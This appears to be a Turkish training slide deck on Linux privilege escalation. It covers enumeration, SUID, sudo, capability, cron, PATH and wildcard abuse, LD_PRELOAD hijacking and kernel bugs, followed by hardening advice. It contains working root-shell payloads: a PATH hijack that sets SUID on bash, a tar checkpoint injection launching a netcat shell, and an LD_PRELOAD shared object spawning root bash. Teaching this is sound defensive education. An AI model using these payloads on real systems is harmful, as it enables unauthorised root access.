

LINUX

101

4. Gün



```
h4x0r@0y4k:~$ cat konu_basliklari.txt
```

- Yetki Yükseltme Saldırıları Nedir?
- Exploit ve Post-Exploitation Kavramları
- Linux Yetki Yükseltmede Enumeration Süreci ve Komutları
- SUID, SGID
- PATH Abuse
- Wild Card Abuse
- Sudo Right Abuse
- Capabilities
- Cronjob Abuse
- LD_PRELOAD Hijacking
- Kernel ve Sudo Güvenlik Açıkları
- Yetki Yükseltme Saldırılarından Korunma Yolları
- TryHackMe Linux Privilege Escalation Room

Privilege Escalation

Yetki yükseltme (**privilege escalation**), bir kullanıcının sahip olduğu yetkileri artırarak daha yüksek yetkiler elde etmesini sağlayan saldırısıdır. Bu saldırılar, sisteme zayıflıklardan yararlanarak kullanıcının yetkilerini genişletmeyi amaçlar. İki tür yetki yükseltme saldırısı vardır:

- **Yatay Yetki Yükseltme (Horizontal Privilege Escalation)**: Aynı yetki seviyesindeki başka bir kullanıcının yetkilerini ele geçirmeye.
- **Dikey Yetki Yükseltme (Vertical Privilege Escalation)**: Daha yüksek yetki seviyesine (örneğin, root) geçiş yapma.

```
h4x0r@0y4k:~$ ./exploit.sh
```

```
[+] Exploit çalıştırılıyor...
[+] Exploit başarıyla tamamlandı!
```

- **Exploit:** Exploit, bir güvenlik açığından yararlanarak hedef sisteme yetkisiz erişim sağlamaktır.
- **Post-Exploitation:** Ele geçirilen sistemde kalıcılık, yetki yükseltme ve keşif yaparak daha fazla kontrol elde etme aşamasıdır.
- **Enumeration:** Hedef sistem veya ağ hakkında aktif bilgi toplayarak kullanıcı hesapları, paylaşılan klasörler, servisler ve diğer potansiyel zayıflıkları belirleme sürecidir.

```
h4x0r@0y4k:~$ cat enumerate.sh
```

```
# Enumeration Süreci Ve Komutları
```

- whoami
- id
- hostname
- uname -a
- ps aux
- ls -lah
- find / -perm -4000 2>/dev/null
- cat /etc/passwd & cat /etc/group
- sudo -l
- ifconfig
- env
- lsblk
- cat /etc/fstab
- arp
- cat /etc/os-release
- echo \$PATH

- `df -h`
- `find / -type f -name “.*” -exec ls -l {} \; 2>/dev/null`
- `find / -type d -name “.*” -ls 2>/dev/null`
- `ls -l /tmp /var/tmp /dev/shm`
- `find / -type f -name “*_hist” -o -name “*_history” -exec ls -l {} \; 2>/dev/null`

Hacker Mindset

- Hangi **hizmetler** ve **uygulamalar** kurulu?
- Hangi **hizmetler** **çalışıyor**?
- Hangi **soketler** **kullanılıyor**?
- Sistem Üzerinde hangi **kullanıcılar**,
yöneticiler ve **gruplar** mevcut?
- Kim şu anda sisteme giriş yapmış durumda?
- Son zamanlarda kimler giriş yaptı?
- Host Üzerinde herhangi bir **parola politikası** uygulanıyor mu?
- Host bir **Active Directory** domainine katılmış mı?

- Geçmiş, log ve yedekleme dosyalarında ilginç ne tür bilgiler bulabiliyoruz?
- Son zamanlarda hangi dosyalar değiştirildi ve ne sıklıkla? Bir cron job kullanımı belirtisi olabilecek ilginç dosya değişiklikleri var mı?
- Mevcut IP adresleme bilgileri
- /etc/hosts dosyasında ilginç bir şey var mı?
- İç ağdaki veya ağ dışındaki diğer sistemlere ilginç ağ bağlantıları var mı?
- Sistemde hangi araçlar kurulu ve bunlardan yararlanabilir miyiz? (Netcat, Perl, Python, Ruby, Nmap, tcpdump, gcc, vb.)
- Herhangi bir kullanıcının bash_history dosyasına erişebilir miyiz ve komut satırı geçmişlerinden parolalar gibi ilginç bir şeyler ortaya çıkarabilir miyiz?

Kernel Exploit

Kernel exploitleri, işletim sisteminin çekirdeğinde bulunan zayıflıklardan yararlanarak sistemde yetki yükselme işlemi gerçekleştirilmesini sağlar. Genellikle bu tür zayıflıkların tespiti ve exploit edilmesi daha karmaşıktır, ancak bazı yaygın yöntemler ve araçlar bulunmaktadır.

Zayıflık Tespiti

```
h4x0r@0y4k:~$ uname -r  
4.4.0-21-generic
```

```
h4x0r@0y4k:~$ searchsploit linux kernel 4.4
```

SUID, SGID

SUID ve **SGID** bitleri, dosyaların farklı kullanıcıların yetkileriyle çalışmasını sağlar. Bu bitler yanlış yapılandırıldığında, saldırganlar yetki yükseltme için kullanabilir.

Zafiyet Tespiti

```
h4x0r@0y4k:~$ find / -perm -4000 -type f 2>/dev/null
h4x0r@0y4k:~$ find / -perm -2000 -type f 2>/dev/null
-rwsr-xr-x 1 root root 54256 Feb 10 12:34 /usr/bin/
passwd
-rwxr-sr-x 1 root tty 23456 Feb 10 12:34 /usr/bin/wall
```

```
h4x0r@0y4k:~$ xdg-open https://gtfobins.github.io/
```

h4x0r@0y4k:~\$ cat passwd.c

```
// passwd.c'den bir kesit
if (!amroot && !streq(crypt_passwd, ""))
    // Kullanıcı kimliğini doğrula
    clear = agetpass (_("Old password: "));
    if (NULL == clear) {
        return -1;
    }

    cipher = pw_encrypt (clear, crypt_passwd);

    if (NULL == cipher) {
        erase_pass (clear);
        fprintf (stderr, _("Failed to crypt password with previous salt:
%s\n"), strerror (errno));
        return -1;
    }

    if (!streq(cipher, crypt_passwd)) {
        erase_pass (clear);
        strzero (cipher);
        fprintf (stderr, _("Incorrect password for %s.\n"),
                pw->pw_name);
        return -1;
    }
    STRTCPY(orig, clear);
    erase_pass (clear);
    strzero (cipher);
} else {
    strcpy(orig, "");
}
```

Sudo Right Abuse

Sudo Right Abuse (Sudo Yetki Kötüye Kullanımı), bir kullanıcının sudo (superuser do) yetkilerini kötüye kullanarak sistem üzerinde yetki yükseltme (privilege escalation) gerçeklestirmesidir.

Zafiyet Tespiti

```
h4x0r@0y4k:~$ sudo -l
```

```
User h4x0r may run the following commands on this host:  
(ALL) NOPASSWD: /usr/bin/vim
```

```
h4x0r@0y4k:~$ xdg-open https://gtfobins.github.io/
```

Capabilities

Linux yetenekleri (**capabilities**), belirli işlemleri gerçekleştirmeye yetkilerini bireysel olarak ayarlamaya olanak tanır. Bu yetenekler yanlış yapılandırıldığında, saldırganlar yetki yükseltebilir.

Zafiyet Tespiti

```
h4x0r@0y4k:~$ getcap -r / 2>/dev/null
```

```
h4x0r@0y4k:~$ find /usr/bin /usr/sbin /usr/local/bin /  
usr/local/sbin -type f -exec getcap {} \;
```

Cronjob Abuse

Cronjob'lar, belirli zamanlarda otomatik olarak çalıştırılan görevlerdir. Yanlış yapılandırılmış cronjob'lar saldırganlar tarafından kötüye kullanılabilir.

Zafiyet Tespiti

```
h4x0r@0y4k:~$ cat /etc/crontab  
h4x0r@0y4k:~$ ls /etc/cron.daily  
h4x0r@0y4k:~$ crontab -e
```

```
h4x0r@0y4k:~$ xdg-open https://crontab.guru/
```

Path Abuse

PATH değişkeni, çalıştırılabilir dosyaların aranacağı dizinleri belirler. Eğer PATH değişkeni kötü niyetli bir dizin içeriyorsa, saldırgan bu dizine zararlı bir dosya koyarak yetki yükseltebilir.

Zafiyet Tespiti

```
h4x0r@0y4k:~$ cat /usr/local/bin/myscript.sh
#!/bin/bash
date
```

```
h4x0r@0y4k:/tmp $ echo "chmod +s /bin/bash" > /tmp/date
h4x0r@0y4k:/tmp $ chmod +x /tmp/date
h4x0r@0y4k:/tmp $ export PATH=/tmp:$PATH
h4x0r@0y4k:/tmp $ /usr/local/bin/myscript.sh
h4x0r@0y4k:/tmp $ /bin/bash -p
bash-5.0#
```

Wild Card Abuse

Bazı komutlar wildcard karakterlerini (örneğin, *) destekler. Bu özellik kötüye kullanılabilir ve saldırganlar zararlı komutlar çalıştırabilir.

```
h4x0r@0y4k:~$ cat /etc/crontab  
* * * * * root tar -czf /home/h4x0r/backup/archive.tar.gz  
-C /home/h4x0r/backup/ *
```

```
h4x0r@0y4k:~/backup $ echo "mkfifo /tmp/shell; nc -lvp  
4444 < /tmp/shell | /bin/bash > /tmp/shell" > shell.sh
```

```
h4x0r@0y4k:~/backup $ chmod +x shell.sh
```

```
h4x0r@0y4k:~/backup $ echo "" > "--checkpoint-  
action=exec=sh shell.sh"
```

```
h4x0r@0y4k:~/backup $ echo "" > "--checkpoint=1"
```

```
h4x0r@0y4k:~$ nc -lvp 4444
```

LD_PRELOAD Hijacking

LD_PRELOAD, bir Linux ortam değişkenidir ve herhangi bir programın çalıştırılmadan önce belirli paylaşılan kütüphaneleri kullanmasını sağlar. Bu, geliştiricilere ve sistem yöneticilerine, belirli bir programın davranışını değiştirmek veya genişletmek için kütüphaneleri dinamik olarak yükleme olanağı sunar. Ancak, bu özellik kötüye kullanıldığında yetki yükselme saldırılara yol açabilir.

```
h4x0r@0y4k:~$ sudo -l
```

Matching Defaults entries for h4x0r on this host:
env_keep+=LD_PRELOAD

User h4x0r may run the following commands on this host:
(root) NOPASSWD: /usr/bin/find

```
h4x0r@0y4k:~$ cat shell.c
```

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

```
h4x0r@0y4k:~$ gcc -fPIC -shared -o shell.so
shell.c -nostartfiles
```

```
h4x0r@0y4k:~$ sudo LD_PRELOAD=/home/h4x0r/ldpreload/shell.so  
find
```

```
# whoami  
root
```

DirtyCow ve DirtyPipe

- **Dirty Cow (CVE-2016-5195)**: Linux çekirdeğindeki bir yarış durumu (race condition) nedeniyle, kullanıcıların salt okunur (read-only) dosyalara yazma yetkisi kazanmasına olanak tanıyan bir güvenlik açığıdır.
- **Dirty Pipe (CVE-2022-0847)**: Linux çekirdeğindeki bir boru hattı (pipe) mekanizmasındaki hatadan yararlanarak, düşük yetkili kullanıcıların çekirdek belleğine yazabilmesine ve yetki yükseltmesine olanak tanıyan bir güvenlik açığıdır.

```
h4x0r@0y4k:~$ cat linpeas.txt
```

LinPEAS, Linux sistemlerinde yerel ayrıcalık yükseltme (privilege escalation) denemeleri için kullanılan bir betik (script) aracıdır. Sistemdeki güvenlik açıklarını, yanlış yapılandırmaları ve potansiyel ayrıcalık yükseltme vektörlerini tespit etmek amacıyla çeşitli kontroller ve taramalar gerçekleştirir. LinPEAS, sistemdeki zayıflıkları hızlı bir şekilde belirlemek ve saldırganların kullanabileceği yolları göstermek için yaygın olarak kullanılır.

Korunma Yolları

1. Güncellemeleri Düzenli Olarak Yapın:

- Çekirdek ve Yazılım Güncellemeleri: Çekirdek ve diğer yazılımlar için güvenlik yamalarını düzenli olarak kontrol edin ve uygulayın.
- Paket Güncellemeleri: Sistem paket yöneticisi (apt, yum, dnf, vb.) kullanarak tüm sistem paketlerini güncel tutun.

2. Sudo Konfigürasyonunu Güvenli Hale Getirin:

- - Minimal Yetki: Kullanıcılara sadece gerektiği kadar yetki verin. sudo yetkilerini dikkatlice yönetin.
- - env_reset: /etc/sudoers dosyasında env_reset seçeneğini etkinleştirerek ortam değişkenlerinin sıfırlanmasını sağlayın.
- - env_keep: Gerekmedikçe env_keep seçeneğini kullanmayın. Eğer kullanıyorsanız, hangi değişkenlerin korunacağını dikkatlice belirtin.
- - NOPASSWD: NOPASSWD seçeneğini mümkün olduğunda kullanmaktan kaçının.

3. Dosya ve Dizin İzinlerini Yönetme:

- Salt Okunur: Kritik sistem dosyalarını ve konfigürasyon dosyalarını salt okunur (read-only) olarak ayarlayın.
- Yetkileri Sınırla: Kullanıcıların sadece ihtiyaç duyukları dosya ve dizinlere erişim izni olduğundan emin olun.
- Sticky Bit: Ortak kullanılan dizinlerde (örneğin, /tmp) sticky bit kullanarak dosya silme yetkilerini sınırlayın.

4. Kullanıcı Hesaplarını Güvenli Hale Getirin:

- Güçlü Parolalar: Kullanıcı parolalarının güçlü ve karmaşık olmasını sağlayın.
- 2FA: Mümkinse iki faktörlü kimlik doğrulama (2FA) kullanın.
- Düzenli Denetim: Kullanıcı hesaplarını ve izinlerini düzenli olarak denetleyin ve gereksiz hesapları devre dışı bırakın.

5. Güvenlik Duvarları ve Ağ Güvenliği:

- **Güvenlik Duvarı:** Güvenlik duvarı kuralları ile sadece gerekli olan bağlantılaraya izin verin.
- **VPN:** Uzak erişim için sanal özel ağ (VPN) kullanın.
- **SSH Güvenliği:** SSH erişimini sınırlayın ve SSH anahtarı (key-based authentication) kullanın.

6. Güvenlik Denetimleri ve İzleme:

- **Log:** Sistemdeki aktiviteleri loglayın ve logları düzenli olarak kontrol edin.
- **IDS/IPS:** Giriş tespit ve önleme sistemleri (IDS/IPS) kullanarak şüpheli aktiviteleri izleyin.
- **Antivirüs:** Antivirüs ve antimalware yazılımları kullanarak zararlı yazılımlara karşı koruma sağlayın.

7. Güvenlik Politikaları ve Eğitim:

- **Güvenlik Politikaları:** Güvenlik politikalarını belirleyin ve uygulayın.
- **Kullanıcı Eğitimi:** Kullanıcıları güvenlik konusunda eğitin ve bilinçlendirin.

KATILIMINIZ için TEŞEKKÜRLER

```
root@0y4k:~$ getent group wheel | awk -F: '{print $4}' | tr ',' '\n'
```

- Burak Kılınç
- Emir Buğra Erdoğan

root@0y4k:~\$ cat LICENSE

Copyright 2025 Özgür Yazılım ve Açık Kaynak Topluluğu

Permission is hereby granted, free of charge, to any person obtaining a copy of this slide and associated documentation files (the “Slide”), to deal in the Slide without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Slide, and to permit persons to whom the Slide is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Slide.

THE SLIDE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SLIDE OR THE USE OR OTHER DEALINGS IN THE SLIDE.